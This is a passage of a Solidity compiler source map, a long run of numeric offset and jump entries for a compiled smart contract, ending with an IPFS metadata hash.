17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:356::-;4813:2;4795:21;;;4832:18;;;4825:30;4891:34;4886:2;4871:18;;4864:62;4958:2;4943:18;;4611:356::o;4972:251::-;5042:6;5095:2;5083:9;5074:7;5070:23;5066:32;5063:52;;;5111:1;5108;5101:12;5063:52;5143:9;5137:16;5162:31;5187:5;5162:31;:::i;6493:456::-;6581:6;6589;6597;6650:2;6638:9;6629:7;6625:23;6621:32;6618:52;;;6666:1;6663;6656:12;6618:52;-1:-1:-1;;6711:16:1;;6817:2;6802:18;;6796:25;6913:2;6898:18;;;6892:25;6711:16;;6796:25;;-1:-1:-1;6892:25:1;6493:456;-1:-1:-1;6493:456:1:o;7233:277::-;7300:6;7353:2;7341:9;7332:7;7328:23;7324:32;7321:52;;;7369:1;7366;7359:12;7321:52;7401:9;7395:16;7454:5;7447:13;7440:21;7433:5;7430:32;7420:60;;7476:1;7473;7466:12;9543:128;9610:9;;;9631:11;;;9628:37;;;9645:18;;:::i;9676:125::-;9741:9;;;9762:10;;;9759:36;;;9775:18;;:::i;10515:135::-;10554:3;10575:17;;;10572:43;;10595:18;;:::i;:::-;-1:-1:-1;10642:1:1;10631:13;;10515:135::o;11011:217::-;11051:1;11077;11067:132;;11121:10;11116:3;11112:20;11109:1;11102:31;11156:4;11153:1;11146:15;11184:4;11181:1;11174:15;11067:132;-1:-1:-1;11213:9:1;;11011:217::o;11767:127::-;11828:10;11823:3;11819:20;11816:1;11809:31;11859:4;11856:1;11849:15;11883:4;11880:1;11873:15;11899:959;12161:4;12209:3;12198:9;12194:19;12240:6;12229:9;12222:25;12283:6;12278:2;12267:9;12263:18;12256:34;12326:3;12321:2;12310:9;12306:18;12299:31;12350:6;12385;12379:13;12416:6;12408;12401:22;12454:3;12443:9;12439:19;12432:26;;12493:2;12485:6;12481:15;12467:29;;12514:1;12524:195;12538:6;12535:1;12532:13;12524:195;;;12603:13;;-1:-1:-1;;;;;12599:39:1;12587:52;;12668:2;12694:15;;;;12659:12;;;;12635:1;12553:9;12524:195;;;-1:-1:-1;;;;;;;12775:32:1;;;;12770:2;12755:18;;12748:60;-1:-1:-1;;12839:3:1;12824:19;12817:35;12736:3;11899:959;-1:-1:-1;;;11899:959:1:o

ipfs://060f34b591106a9a26572170fa378a15e0f695f9bb509cdf4dbdd8054e6c3118